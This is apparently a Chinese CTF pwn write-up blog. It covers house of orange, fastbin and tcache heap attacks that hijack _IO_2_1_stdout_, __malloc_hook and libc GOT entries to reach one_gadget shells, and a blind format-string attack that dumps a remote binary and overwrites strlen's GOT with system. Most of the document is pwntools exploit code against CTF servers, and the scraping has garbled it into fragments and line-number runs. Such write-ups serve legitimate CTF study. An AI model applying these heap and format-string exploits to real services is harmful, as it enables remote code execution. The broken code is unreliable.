exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 from pwn import *'amd64' , os = 'linux' , log_level='debug' )'houseoforange' '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' )lambda : gdb.attach(io)def ad (size, data ):'Your choice : ' , str (1 ))'name :' , str (size))'Name :' , data)'Price of Orange:' , str (16 ))'Orange:' , '1' );def md (size, data ):'Your choice : ' , str (3 ))'name :' , str (size))'Name:' , data)'Price of Orange:' , str (16 ))'Orange:' , '1' );def dp ():'Your choice : ' , str (2 ))def q ():':' , str (5 )) def exploit ():0x3c4b20 0x10 , 'A' * 0x10 )'A' * 0x10 0 ) + p64(0x21 )0x1f00000010 )0 )0 )0x00fa1 )'addr: ' + hex (0xfa1 + 0x1000 ))0x80 , p)0x1000 , 'B' * 0x10 )0x400 , 'C' * 0x8 )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - main_arena - 1640 'libc_base ' + hex (lib.address))0x10 , 'C' * 0x10 )'CCCCCCCCCCCCCCCC' )'\x0a' ).ljust(8 , '\x00' )) - 0xc0 'heap ' + hex (heap))'_IO_list_all' ]'_IO_list_all ' + hex (_IO_list_all))'B' * 0x400 0 )0x21 )'B' * 0x10 '/bin/sh\x00' 0x61 ) 0 ) 0x10 ) 0 ) 1 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 1 ) 2 ) 3 ) 4 ) 0 ) 0 ) 6 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) 0 ) * 3 0x5C8 ) 0 ) * 2 'system' ]) 0x600 , p)'1' ) def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
UAF 来源 V&N cnitlrt的面试,这是我自己按他要求出的题,然后自己打.
难度 5 / 10
保护 1 2 3 4 5 Arch: amd64-64-little
简单描述 只有添加和删除功能, 添加的时候输入大小,再输入内容, 而删除根据索引进行删除.
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 del () int v1; unsigned __int64 v2; 0x28 u);0 ;puts ("idx: " );"%d" , &v1);free (*((void **)&pheap + 2 * v1)); puts ("OK" );return __readfsqword(0x28 u) ^ v2;
知识点 fastbin attack, IO_FILE
思路 开辟一个small bin, 然后通过fastbin attack partial write 修改unsoted bin 的 fd 的后两字节指向_IO_2_1_stderr + 157处, 使用fastbin attack_IO_2_1_stdout`结构体中泄漏libc, 再次使用fastbin attack 打入malloc_hook - 0x23处打one_gadget, realloc的push次数调整execve第二个参数, 打通概率 1 /16
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *'debug' 'pwn' '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' )lambda : gdb.attach(io)def ad (size, data ):'2.del' , str (1 ))':' , str (size))':' , data)def rm (idx ):'2.del' , str (2 ))':' , str (idx))def q ():':' , str (3 )) def exploit ():0 ;if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
堆布局 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ad(0x20 , 'A' ) 'A' * 0x50 0 ) 0x31 ) 0x60 , p) 0x80 , 'B' ) 0x20 , 'A' ) 0x60 , 'A' ) 0x60 , 'A' ) 0x60 , 'A' )
打入chunk 2修改size 和fd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rm(3 ) 0 )3 )2 ) 0x20 , '\x90' ) 0x20 , 'A' ) 0x20 , 'A' ) 0 )0x71 ) '\xdd\x25' 0x20 , p)
打入_IO_2_1_stderr + 157处 满足size调试如下:
1 2 3 4 5 6 7 8 9 10 pwndbg> x /40gx (long int)&_IO_2_1_stdout_ - 0x43
把刚才所构建的fastbin chunk 2放入fastbin 中
1 2 3 4 5 6 7 8 9 10 11 4 )1 )4 )0x60 , '\xa0' ) 0x60 , 'A' )0x60 , 'A' )0x60 , 'A' )
泄漏libc 修改_IO_2_1_stdout结构体实现打印出libc中的地址
1 2 3 4 5 6 7 8 9 p = 'A' * 0x33 0xfbad3c80 ) 0 ) * 3 8 )0x60 , p)'\x7f' )[-5 :] + '\x7f\x00\x00' ) - (0x7ffff7dd2608 - 0x7ffff7a0d000 )'libc_base ' + hex (lib.address))
打入__malloc_hook - 0x23处 1 2 3 4 5 6 7 8 9 10 11 12 13 5 ) 6 ) 5 ) '__malloc_hook' ] - 0x23 )0x68 , p)0x68 , 'A' ) 0x68 , 'A' )
修改malloc_hook 和realloc_hook打one_gadget 通过realloc的push次数来调整execve的第二个参数
1 2 3 4 5 6 7 gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ]1 ]'A' * (0x13 -8 )'realloc' ] + 12 )0x68 , p)
get shell exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 from pwn import *'debug' 'pwn' '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' )lambda : gdb.attach(io)def ad (size, data ):'2.del' , str (1 ))':' , str (size))':' , data)def rm (idx ):'2.del' , str (2 ))':' , str (idx))def q ():':' , str (3 )) def exploit ():0x20 , 'A' ) 'A' * 0x50 0 )0x31 )0x60 , p) 0x80 , 'B' ) 0x20 , 'A' ) 0x60 , 'A' ) 0x60 , 'A' ) 0x60 , 'A' ) 3 )0 )3 )2 ) 0x20 , '\x90' ) 0x20 , 'A' )0x20 , 'A' )0 )0x71 )'\xdd\x25' 0x20 , p) 4 )1 )4 )0x60 , '\xa0' )0x60 , 'A' )0x60 , 'A' )0x60 , 'A' )'A' * 0x33 0xfbad3c80 )0 ) * 3 8 )0x60 , p)'\x7f' )[-5 :] + '\x7f\x00\x00' ) - (0x7ffff7dd2608 - 0x7ffff7a0d000 )'libc_base ' + hex (lib.address))5 ) 6 ) 5 ) '__malloc_hook' ] - 0x23 )0x68 , p)0x68 , 'A' ) 0x68 , 'A' ) 0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ]1 ]'A' * (0x13 -8 )'realloc' ] + 12 )0x68 , p)'del' )'1' )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
easyTHeap 来源 v & n
难度 4 / 10
保护 1 2 3 4 5 Arch: amd64-64-little
简单描述 该环境为glibc 2.27, 有teache机制.题中有五个功能,利用有限制,malloc只能7次以下, free 3次以下.
vul 1 2 3 4 5 6 7 8 9 10 11 12 int del () int v1; printf ("idx?" );if ( v1 < 0 || v1 > 6 || !heap_array[v1] )exit (0 );free ((void *)heap_array[v1]);0 ; return puts ("Done!" );
拥有uaf漏洞,可以使用teache机制double free任意地址分配.
打法1 评估:
复杂度: 比较复杂 成功率: 低
知识点 tcache, IO_FILE
思路 程序中限制了malloc和free的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,实现任意地址分配.修改IO_2_1_stdout结构, 实现IO流对vtable的调用来触发one_gadget.
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *'debug' 'vn_pwn_easyTHeap' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 28200 0 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info(x)lambda : gdb.attach(io)def get_IO_str_jumps_offset (): '_IO_file_jumps' ]'_IO_str_underflow' ]for ref_offset in lib.search(p64(IO_str_underflow_offset)):0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset:return possible_IO_str_jumps_offsetdef ad (size ):'choice: ' , str (1 ))'?' , str (size))def rm (idx ):'choice: ' , str (4 ))'?' , str (idx))def md (idx, data ):'choice: ' , str (2 ))'?' , str (idx))':' , data)def dp (idx ):'choice: ' , str (3 ))'?' , str (idx))def q ():'choice: ' , str (5 ))
leak heap 1 2 3 4 5 6 7 8 9 10 ad(0x100 ) 0x100 ) 0 ) 0 )0 ) '\n' ) + '\x00\x00' ) - 0x260 'heap_base ' + hex (heap_base))
leak libc 通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址, 那么怎样才能不满足呢,由于程序中最多只能分配7次,就不能使tcache bin的数量大于7了,那只能小于0,怎样才能小于0, 就采用tcache double free之后,就已经形成一个环,若没有修改fd,就一直在原地分配,分配成功后tcache bin的count - 1,当tcache bin的count小于0时,再次释放任何堆,就不会到tcache bin中了.
1 2 3 4 5 6 7 8 9 10 0x100 ) 0x100 ) 0x100 ) 0 )0 ) '\n' ) + '\x00\x00' ) - 0x260 'heap_base ' + hex (heap_base))
实现任意地址写入 这里只需修改chunk 0的fd指向我们想要的地方,再次开辟,就会到我们想要修改的地方.
1 2 3 4 5 p = p64(_IO_2_1_stdout_) 3 , p)0x100 ) 0x100 )
上面任意地址写入已经实现,如果改写malloc_hook或者free_hook,可以改写成功,但是没有办法触发.这是因为，已经用完了add功能的7次调用,delete功能的3次调用,因此,接下来,就调用不了malloc或free,也就无法触发了.因此,可以劫持_IO_2_1_stdout_的虚表.通过IO流对虚表的调用来触发one_gadget.由于glibc为2.29,因此不能直接伪造虚表,而应该将虚表劫持为_IO_str_jumps_附近
1 2 3 4 5 6 7 8 9 10 0x00007f1fda7b1a65 <+165>: lea rdx,[rip+0x366cf4] # 0x7f1fdab18760 <_IO_helper_jumps>
只需要让[r13+0x38]为IO_str_finish函数的指针即可,因此，需要将虚表修改为IO_str_jumps – XX,使得,r13+0x38正好对应上_IO_str_finish指针, 而IO_str_finish函数会call [IO_2_1_stdout + 0xE8]
call的前提是_IO_2_1_stdout_的flag的低1字节要为0. 综上,需要劫持_IO_2_1_stdout_结构体,修改flags,劫持虚表为IO_str_jumps – XX,修改_IO_2_1_stdout_+0xE8处为one_gadget.然后puts的调用即可触发one_gadget
修改IO_2_1_stdout结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 p = p64(0xfbad2886 ) 0x200 ) * 7 0x201 )0 ) * 5 1 ) 0 )0xffffffffffffffff )0x000000000a000000 )0x7ff3095508c0 - 0x7ff309163000 )0xffffffffffffffff )0 )0x7f2fc336a8c0 - 0x7f2fc2f7f000 )0 ) * 3 0xffffffff )0xd8 , '\x00' )0 )6 , p)
exp-1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 from pwn import *'debug' 'vn_pwn_easyTHeap' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 28200 0 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info(x)lambda : gdb.attach(io)def get_IO_str_jumps_offset ():'_IO_file_jumps' ]'_IO_str_underflow' ]for ref_offset in lib.search(p64(IO_str_underflow_offset)):'AA' )0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset:return possible_IO_str_jumps_offsetdef ad (size ):'choice: ' , str (1 ))'?' , str (size))def rm (idx ):'choice: ' , str (4 ))'?' , str (idx))def md (idx, data ):'choice: ' , str (2 ))'?' , str (idx))':' , data)def dp (idx ):'choice: ' , str (3 ))'?' , str (idx))def q ():'choice: ' , str (5 )) def exploit ():0x100 ) 0x100 ) 0 )0 )0 )'\n' ) + '\x00\x00' ) - 0x260 'heap_base ' + hex (heap_base))0x100 ) 0x100 ) 0x100 ) 0 )0 )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 'libc base ' + hex (lib.address))'_IO_2_1_stdout_' ]'_IO_str_jumps ' + hex (_IO_str_jumps))'_IO_2_1_stdout ' + hex (_IO_2_1_stdout_))0x28 0x4f2c5 , 0x4f322 , 0x10a38c ]1 ]3 , p)0x100 ) 0x100 ) 0xfbad2886 )0x200 ) * 7 0x201 )0 ) * 5 1 ) 0 )0xffffffffffffffff )0x000000000a000000 )0x7ff3095508c0 - 0x7ff309163000 )0xffffffffffffffff )0 )0x7f2fc336a8c0 - 0x7f2fc2f7f000 )0 ) * 3 0xffffffff )0xd8 , '\x00' )0 )6 , p)def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
参考: https://blog.csdn.net/seaaseesa/article/details/105404106
打法2 评估:
复杂度: 一般 成功率: 一般
上面那个调用太复杂了,来个直接的
知识点 tcache, libc中的链接原理(与plt与got差不多)
思路 程序中限制了malloc和free的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址, 然后通过使tcache bin的数量不满足满0~7之后,释放即获得通过unsoted bin通过打印泄漏libc地址,后面通过还有任意地址分配.将要调用的某个libc中的某个plt函数所对应的跳转地址中的值给改为one_gadget
利用 这个获取libc地址的打法与上面一样,就不写了, 主要是获得任意读写地址之后,怎样打one_gadget调用.这个打发就简单得多了,且高效,若所以one_gadget打不通,还可以换其他libc中plt函数来打,打通几率大大提升.
通过调试, 发现在puts中存在一个plt,但是我打了全部one_gadget,就是参数不符合one_gadget,所以在printf中找到一个,如下.ABS*+0xa07f0@plt就是我们的目标了.
1 2 3 4 5 6 7 8 0x7f68f522141f <vfprintf+143> mov qword ptr [rbp - 0x438], rax
反编译ABS +0xa07f0@plt <0x7f68f51e7040>,获取类似与储存地址的got表地址.0x7f68f55b1048
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> disass 0x7f68f51e7040
exp-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from pwn import *'debug' 'vn_pwn_easyTHeap' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 28200 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info(x)lambda : gdb.attach(io)def ad (size ):'choice: ' , str (1 ))'?' , str (size))def rm (idx ):'choice: ' , str (4 ))'?' , str (idx))def md (idx, data ):'choice: ' , str (2 ))'?' , str (idx))':' , data)def dp (idx ):'choice: ' , str (3 ))'?' , str (idx))def q ():'choice: ' , str (5 )) def exploit ():0x100 ) 0x100 ) 0 )0 )0 )'\n' ) + '\x00\x00' ) - 0x260 'heap_base ' + hex (heap_base))0x100 ) 0x100 ) 0x100 ) 0 )0 )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 'libc base ' + hex (lib.address))0x7fd855098048 - 0x7fd854cad000 )0x4f2c5 , 0x4f322 , 0xe569f , 0xe5858 , 0xe585f , 0xef863 , 0x10a38c , 0x10a398 ]1 ]3 , p64(ABS))0x100 ) 'ABS_got ' + hex (ABS))0x100 ) 6 , p)def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL 0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe585f execve("/bin/sh", r10, [rbp-0x70]) constraints: [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe5863 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x10a398 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL '''
打法3 评估:
复杂度: 一般 成功率: 高
上面那个两个都没有控制好malloc的次数,多了一个,这个就控制少了一个,所以直接修改realloc_hook和malloc_hook打one_gadget.
知识点 tcache管理机制
思路 程序中限制了malloc 和 free 的次数, 存在明显的uaf漏洞, 但是可以首先利用Tcache dup泄露heap 地址,且也使该方法打入tcache 管理头部,也就是堆的头部,修改tcahe的数量为7,在释放堆块的时候就不会由tcache bin来管理.这样可以泄漏libc,再次修改该结构,使bin指向malloc - 8处,下次分配直接修改该地址,realloc调参数打one_gadget
exp-3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 from pwn import *'debug' 'vn_pwn_easyTHeap' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 28200 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : log.info(x)lambda : gdb.attach(io)def ad (size ):'choice: ' , str (1 ))'?' , str (size))def rm (idx ):'choice: ' , str (4 ))'?' , str (idx))def md (idx, data ):'choice: ' , str (2 ))'?' , str (idx))':' , data)def dp (idx ):'choice: ' , str (3 ))'?' , str (idx))def q ():'choice: ' , str (5 )) def exploit ():0x100 ) 0x100 ) 0 )0 )0 )'\n' ) + '\x00\x00' ) - 0x260 'heap_base ' + hex (heap_base))0x100 ) 2 , p64(heap_base + 0x10 )) 0x100 ) 0x100 ) 0x0 )0x0700000000000000 ) 4 , p)0 )0 )'\x7f' )[-5 :] + '\x7f\x00\x00' ) - 96 - 0x3ebc40 'libc base ' + hex (lib.address))0x4f2c5 , 0x4f322 , 0xe569f , 0xe5858 , 0xe585f , 0xef863 , 0x10a38c , 0x10a398 ]1 ]0x0 )0x0700000000000000 ) 0xB8 , '\x00' )'__malloc_hook' ] - 8 )4 , p)0x100 ) 'realloc' ] + 8 )5 , p)0x1 )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL 0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70]) constraints: [[rbp-0x88]] == NULL || [rbp-0x88] == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe585f execve("/bin/sh", r10, [rbp-0x70]) constraints: [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe5863 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x10a398 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL '''
AXB_2019_fmt 来源 AXB_2019
难度 4/ 10
简单描述 不给elf文件, 盲打.
vul 1 2 3 4 5 6 7 8 logan@LYXF:~/share/axb_fmt1$ nc node3.buuoj.cn 29458'll answer whatever you say! Please tell me:%p %p Repeater:0x804888d 0xffde142f Please tell me:^c
存在字符串漏洞, 输出4bytes的地址, 这是一个32位程序
知识点 fmt vul的各种利用, fmt vul dump文件, fmt vul修改内存.
思路 先使用脚本算出偏移,然后编写dump脚本, 这是一个32 bit的程序,就从0x08048000开始dump内存然后写入本地文件中, 后面就简单得多了, 分析所dump的文件,发现strlen对字符串的长度进行判断, 采用字符串漏洞泄漏libc,随便找一个函数都行,计算偏移,然后再获取system函数, 修改strlen的got地址为system,再输入时输入’;/bin/sh’就行, 注意,因为strlen传入的时候, Repeater:也跟着传入, 在linux bash中以’; ‘来进行分割命令,所以相当于执行两次命令, 一个Repeater:和一个/bin/sh.
利用 计算偏移 这个是我自己写的一个跑偏移脚本, 十分方便,用手数…^_^
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *'debug' "node3.buuoj.cn" 29619 0 0x30 0x10 '' '' lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def calc (payload ):if (preSendStr == '' ):else :if (recvStr != '' ):', ' )1 for info in infos:1 if ('0x44434241' == info):return offset return -1 if __name__ == '__main__' :0 ;'ABCD' + ', %p' * minLenwhile (True ):if LOCAL:else :if (-1 != offset):'---------------------------------------------' )'\noffset:' + str (offset)) break ', %p' 1 if (length > maxLen):'---------------------------------------------' )'not found! maxLen too litile' )break
跑的操作如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 logan@LYXF:~/share/axb_fmt1$ python calc_fmt_offset.py
通过手数, 差一个字节偏移就为8 (0x41e54e34, 0x2c444342), 后面再利用的时候就要得补一字节对其.
编写dump脚本 利用 printf 中的 %s来进行dump, ‘%’ + str(offset + x) + ‘$s’ + p32(target_addr)来调整所dump的参数位置, 这就可以dump出任何内存的值了, 我们知道, linux32位程序,若没有开启pie的话,elf文件就加载到0x08048000起始位置, linux 64位程序就加载到0x400000位置, 所以我们就从0x08048000位置开始dump, 注意 dump出来的数据是以’\x00’结尾的, 每一条数据后面都要加一条‘\x00’,dump为空的也数据也就为 ‘\x00’,循环dump数据,写入文件, 我也是第一次写dump文件,照着ctf-wiki中那个方法, dump感觉太慢了,每次都要重新连接,而这个体是循环输入的,不用每次dump都重新连接,还有,dump的时候,无误了,尽量把IO输出给删了, 极大影响dump的速率,尽最大的关掉, 还有在打远程的时候总是容易断开,如下:
1 2 3 4 5 6 7 8 9 10 11 [*] dumping: 1660/12288
这就导致dump的数据太少了, 我就改进了一下,添加一个重新连接,继续dump.改进后如下:
1 2 3 4 5 6 7 [*] dumping: 2540/12288
dump 文件脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 ''' This is a dump file script ''' from pwn import *'' '/lib/x86_64-linux-gnu/libc.so.6' "node3.buuoj.cn" 29458 1 0 8 + 2 + 2 def getbinary ():0x3000 0x08048000 open ('binary' , 'w' )False 3 for i in range (disConnectMaxTimes):'Please tell me:' )while addr < end_addr:try :'ABCDE' '%' + str (offset)'$s' 'CBAABCD' 'ABCDE' , drop = True )'CBAABCD' , drop = True )except EOFError: True break if len (data) == 0 : '\x00' )1 else :'\x00' len (data)if (((addr - base_addr) % 10 ) == 0 ): print ('dumping: ' + str (addr - base_addr) + '/' + str (data_length))if isDisconnect == True : print ('Error.' )False 0.5 )def exploit ():if __name__ == '__main__' :
然后就静静的等待,若开启输出太多加上是远程dump,可能一个小时都还没dump 10k,尽量关掉输出.
dump文件之后如下:
1 2 3 logan@LYXF:~/share/axb_fmt1$ cat binary4 `4 (44 �4 � TT�T���� � �4d����hh�h�DDP�td����,,Q�tdR�... ...
IDA分析dump的文件 所dump的文件不能反编译为c语言伪代码,只能看汇编.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 _init_proc LOAD 08048418 00000023 0000000C 00000000 R . . . . . .
也可以看到,基本的函数也出来了, 但没有发现main函数,找相关逻辑代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 LOAD:080486AD lea eax, [ebp-138h]
虽然找到,但不知道调用什么函数, 需要去看看符号表.
